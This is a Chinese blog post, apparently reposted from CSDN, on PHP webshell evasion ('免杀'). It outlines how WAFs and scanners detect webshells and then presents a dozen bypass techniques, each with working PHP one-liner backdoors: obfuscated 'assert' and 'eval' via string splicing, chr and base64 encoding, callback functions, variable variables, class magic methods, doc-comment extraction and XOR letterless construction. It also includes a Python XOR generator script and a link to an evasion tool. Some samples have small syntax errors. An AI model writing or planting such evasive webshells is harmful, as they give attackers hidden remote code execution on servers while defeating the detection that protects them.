ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

webshell免杀的一些学习和思考——以PHP为例

2021-10-24 12:02:20  阅读:344  来源: 互联网

标签:webshell 函数 为例 assert chr array PHP 免杀


目录

前言

凡是使用webshell时,免杀都是需要考虑的事情,说白了就是我的webshell得能用啊!故本篇做一个webshell免杀的学习,主要是php的一句话

一、关于webshell

所谓webshell,就是向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。所以其实是两步:

  • 数据的传递
  • 执行所传递的数据

1、数据传递

(1)HTTP请求中获取数据

$_GET$_POST$_COOKIES$_FILE

HTTP包中的任何位置都可以作为payload的传输媒介

(2)从远程URL中获取数据

file_get_contentscurlsvn_checkout

将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取

(3)从磁盘文件中获取数据

filefile_get_contents

将需要执行的指令数据放在磁盘文件中,利用IO函数来读取

(4)从数据库中读取

将需要执行的指令放在数据库中,利用数据库函数来读取

(5)从图片头部中获取

exif_read_data

将需要执行的指令数据放在图片头部中,利用图片操作函数来读取

2、代码执行

(1)常用命令执行函数

evalsystemassertexecshell_exec

最普通、标准的代码执行

(2)LFI

includerequire

利用浏览器的伪协议将文件包含转化为代码执行

(3)动态函数执行

$()

PHP的动态函数特性

(4)Curly Syntax

${${…}}

这种思路可以把变量赋值的漏洞转化为代码执行的机会

3、PHP一句话

最常见的就是eval和assert:

  • eval:PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为PHP代码执行(必须符合PHP代码要求)
  • assert:PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8版本后可以接受两个参数。php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码;php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码
<?php eval(@$_POST['a']); ?>
<?php assert(@$_POST['a']); ?>

一些常见方法:

  • 命令执行类:通过eval、assert、system、create_function等函数来执行命令
  • 动态构造类:在php支持的动态构造函数中调用执行命令
  • preg类:正则系列函数可以使用/e模式正则来执行命令
  • 回调函数类:利用回调函数构造的Webshell,覆盖所有的callable类型参数
  • 反射函数类:利用ReflectionFunction等类,以及对应的invoke等方法执行命令

二、关于WAF

要免杀,当然得先了解是谁在杀,主要是D盾、安全狗,护卫神等,其他还有杀毒软件如火绒、360

其检测思路大概有:

  • 分析统计内容:可以结合黑名单或者其他特征列表,例如代码片段的hash特征列表。之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell
  • 语义分析:把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。代码审计常常会使用这种方法
  • 机器学习:这种方法需要大量的样本数据,通过一些学习模型,总结归类webshell的特征库,最终去检测webshell
  • 动态监控:采用RASP方式,这里就是一但检测到有脚本运行起来了就去监控里边或者叫hook一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本也十分的高昂。

1、基于流量和字符特征的检测

既然是字符特征,首先就是对于一些危险函数(上面提到的那些)的检测:

  • system : system()函数将命令作为参数,并输出结果
  • exec : exec()功能是将命令作为参数,但不输出结果。如果指定了第二个可选参数,则返回结果为数组。否则,如果回显,只显示结果的最后一行
  • shell_exec : shell_exec()函数类似于exec(),但是,其整个输出结果为字符串
  • passthru : passthru()执行一个命令并返回原始格式的输出
  • proc_open : proc_open()函数可能很难理解。简单地说,我们可以使用proc_open(),创建一个处理程序(流程),实现脚本和要运行的程序之间的通信
  • 倒引号 : 很多PHP开发人员并没有意识到这一点,但是PHP会首先执行shell命令中倒引号内的内容
  • 还有popencurl_execcurl_multi_execparse_ini_fileshow_source

然后是在返回包中检测特殊字符:root或者是其他一些敏感字符串passwd等等

2、基于文件特征

主要基于HASH的匹配,取决于样本的捕捉能力及形成特征列表的数量,还是会出现漏报问题。

这里会对上传上来的文件进行分片处理,之后会对每一个片段进行hash计算,在得到所有片段的hash值后会和之前有的特征列表库进行对比。如果符合某个相似度的要求就认为该文件为webshell。

3、基于AST语义分析

为了弥补统计特征的不足,进一步深化,进行语法检测,关注于每个函数和参数,这种方式精确,误报较少。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。

其实这一部分有点类似于代码审计,核心问题就是找到那些可疑的函数。有经验的安全人员可能脑海里就有一个表,这个表里放满了各种函数,有点类似于黑名单。在找到函数调用的代码时,如果发现函数名在黑名单中,就认为这是一个“敏感”函数,再执行后续判断;如果函数名不在黑名单中,那么后续的判断也就不用继续了。但是这个名单必须得大而全,而且得考虑很多特殊情况。

4、动/静态符号执行

实际是就是去发现没有过滤或者过滤不完全的可控变量,一但存在用户可以控制的代码逻辑,那么危险系数就很高了。

5、机器学习

这个需要大量的webshell样本训练,目前来看效果可能还是不太好。而有些算法可解释性比较差,不利于运营。而且存在大量误报的可能。

6、终极检测引擎Rasp

在2014年的时候,Gartner引入了“Runtime application self-protection”一词,简称为RASP。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。

RASP技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web和非Web应用程序都可以通过RASP进行保护。该技术不会影响应用程序的设计,因为RASP的检测和保护功能是在应用程序运行的系统上运行的。

三、免杀思路

下面是一些免杀的思路,但实际需要多种思路结合,办法总比困难多

1、字符串变换

将关键词进行拼接转换等,来绕过对关键词的检测

一些可用的方法有:

ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。

由于eval是语言构造器而不是函数,所以不能被可变函数调用,一般会通过拼接assert来执行;又由于assert在php7.1之后无法这样使用,所以此类免杀方式基本仅能在php5环境下使用

几个例子:

<?php
$a="a";
$b="sse";
$c="00";
$d= substr_replace($a.$b.$c,"rt",4);
$d($_POST['a'];
?>
<?php
$a = substr_replace("xxser","asser",-3);
$aa = array('',$a);
$b = $aa[1].chr('116');
$fun=preg_replace("/xx/","",$b);
$cc = substr_replace("",$fun,0);

$cc($_POST['x']);
?>

2、编码绕过

编码也是一种替换敏感字段的方式,一般用到base64、ascii等各种方式

  • ascii

    <?php
    $a =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
    $a($_POST['a'];
    ?>
    
  • base64

    <?php
    $a = base64_decode("YX__Nz_ZX____J0");
    $a($_POST[x]);
    ?>
    

但是常见的编码和加密都被放入名单了,所以可以考虑base32、base58 这类的base编码全家桶,或者自定义ascii移位,甚至是对称加密算法

3、自定义函数

在一个自定义函数中执行assert、eval等,或在函数中进行输入传入$_POST$_GET

但这种方法效果不佳,可以和别的结合

举个例子:

<?php 
function zeo($b){
    return $b;
}
function ass($a){
    return eval($a);
}
function post(){
    return $_POST['x'];
}

function run(){
	return zeo(ass)(zeo(post)());
}

zeo(ass)(zeo(post)());
?>

4、回调函数

回调函数大概有以下这些,大部分都已经被拉黑了。。。单独用都得死:

call_user_func_array()
call_user_func()
array_filter() 
array_walk()  
array_map()
array_reduce()
array_walk() 
array_walk_recursive()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
registregister_shutdown_function()
register_tick_function()
forward_static_call_array(assert,array($_POST[x]));

举几个例子(只是示例,基本都被拉黑了):

  • array_map

    <?php
    function username()
    {
    
    $a =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
    return ''.$a;
    }
    $user = username();
    $pass =array($_GET['password']);
    array_map($user,$user = $pass );
    ?>
    
  • call_user_func_array

    <?php
    $a =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
    call_user_func_array($a, array($_GET['a']));
    ?>
    
  • 定义个函数加个简单的拼接

    <?php 
    function zeo($c,$d){
    	pj()($c,$d);
    }
    function pj(){
    	return "register_shut"."down_function";
    }
    
    $b=$_POST['x'];
    zeo(assert,$b);
    ?>
    

5、数组

将执行代码放在数组中,配合其他绕过手段就仍然有效

举几个例子:

  • 一维
    <?php
    $a = substr_replace("asse00","rt",4);
    $b=array($array=array(''=>$a($_GET['x'])));
    var_dump($b);
    ?>
    
  • 二维
    <?php
    $b = substr_replace("assexx","rt",4);
    $a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['x'])))));
    ?>
    

6、可变变量

可变变量是指一个普通变量的值可以作为另一个变量的名称被使用,如下:

$a = 'hello';
$$a = 'world';
echo $hello;
# 输出就是world
  • 第一行是一个普通的变量定义,变量名称为a,变量值为hello
  • 第二行使用变量a的值,定义了一个变量,这个变量的名字叫做hello(也就是a的值),值为world
  • 将这个变量输出之后的结果是:world

举个例子:

<?php 
$zeo='dalao';
$$zeo=$_POST['x'];
eval($dalao);
?>

7、类

这个好像很火,主要是魔术方法

举几个例子:

<?php
class Student
{
    public $_1='';
    function __destruct(){
        assert("$this->a");
    }
}
$_2 = new Student;
$_2->$_1 = $_POST['a'];
?>
<?php 
class zeo2
{
  public $b ='';
  
  function post(){
    return $_POST['x'];
  }
}
class zeo extends zeo2
{
  public $code=null;
  function __construct(){
  	$code=parent::post();
    assert($code);
  }
}
$blll = new zeo;
$bzzz = new zeo2;
?>

8、特殊字符干扰

主要是能干扰到杀软的正则判断,还要代码能执行。可以自己fuzz,大概就是说各种回车、换行、null和空白字符等

举个例子:

<?php 
$zeo='dalao';
$$zeo=$_POST['x'];
eval(``.$dalao);
?>

9、注释获取

ReflectionClass::getDocComment 可以获取文档注释

某些安全软件会忽略注释中的代码,所以这种方式是将恶意代码写入注释中,再通过ReflectionClass的getDocComment方法将其提取出来执行,但是非注释内容中也会存在eval或assert,可能会被报低级别可疑

举个例子:

<?php  
    /**   
    * assert($_GET[1+0]);
    */  
    class User { }  
    $user = new ReflectionClass('User');
    $comment = $user->getDocComment();
	$d = substr($comment , 14 , 20);
	assert($d);
?>

10、无字母

用各种运算,例如异或,拼装出来想要的函数,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可

可参见:一些不包含数字和字母的webshell

举个例子:

<?php
@$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
#  “^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。
${$__}[!$_](${$___}[$_]);
?>

国光师傅写了个脚本:

import string 
from urllib.parse import quote 
keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) 
results = [] 
for i in keys: 
	for j in keys: 
		asscii_number = i^j 
		if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): 
			if i < 32 and j < 32: 
				temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
				results.append(temp) 
			elif i < 32 and j >=32: 
				temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
				results.append(temp) 
			elif i >= 32 and j < 32: 
				temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
				results.append(temp) 
			else: 
				temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
				results.append(temp) 
results.sort(key=lambda x:x[1], reverse=False) 
for low_case in string.ascii_lowercase: 
	for result in results: 
		if low_case in result: 
			print(result[0]) 
for upper_case in string.ascii_uppercase: 
	for result in results: 
		if upper_case in result: 
			print(result[0])

11、利用POST包获取关键字

<?php
$decrpt = $_POST['x'];
$decrps = $_POST['y'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
$arrt = explode("|", $decrps)[1];
$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);
?>

在这里插入图片描述

12、获取定义过的函数

public ReflectionClass::getConstants(void) : array

获取某个类的全部已定义的常量,不管可见性如何定义

class Test
{
    const a = 'As';
    const b = 'se';
    const c = 'rt';

    public function __construct()
    {
    }
}
$para1;
$para2;
$reflector = new ReflectionClass('Test');

for ($i=97; $i <= 99; $i++) {
    $para1 = $reflector->getConstant(chr($i));
    $para2.=$para1;
}

foreach (array('_POST','_GET') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        $$_key=  $_value;
    }
}

$para2($_value);

四、其他

1、PHP7.1困境

php7.1之后我们已经不能使用强大的assert函数了,waf只要把函数封死就可以有效的阻⽌webshell免杀,而eval并没有assert那么灵活。

后期大家可能更加倾向使用大马或内存马

2、一些工具

https://github.com/pureqh/webshell

3、一些思考

(1)要考虑php不同版本的特性

举几个例子:
mb_ereg_replace、mb_eregi_replacez这两个存在别名函数:mbereg_replace、mbereg_ireplace

但是这个别名在7.3中被移除了。preg_replace的/e模式也在7版本中被删除了。

(2)灵活利用php的语法特性

从异或,回调函数,字符编码,包含调用,字符拼接。其实这些很多都已经被d盾这种软件收录进去了。

我们要做的就是不断的变形,包括venom利用的异或和类的析构函数,虽然已经被查杀了,但是我们利用静态函数成功的绕过了检测。静态函数调用普通函数,或者普通函数调用静态函数。还有类的继承机制等都是可考虑的

(3)善于使用特殊符号

这里p神讲的一个:

eval<char>('phpinfo')

增加特殊字符

[\x00-\x20]

php在解析的时候可能会忽略这些控制字符,但是一些语义分析的检测引擎就无法正确识别这些特殊字符,导致被绕过的现象。

(4)再就是开脑洞的一些思路了

例如我们可不可以把webshell隐藏在多个正常的php文件中形成一个调用链,当然这种形式已经跳出了上传的场景,更加偏向于权限维持

我们也可以将webshell隐藏在php扩展中来绕过一些限制敏感函数执行的场景(其实这个思路已经有很多大佬做过了)

还有就是配合其它语言进行利用并配合linux和windows的一些特性啥的

结语

对webshell免杀做了个学习,这是个不断博弈和进步的方向

标签:webshell,函数,为例,assert,chr,array,PHP,免杀
来源: https://blog.csdn.net/weixin_44604541/article/details/118695035

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有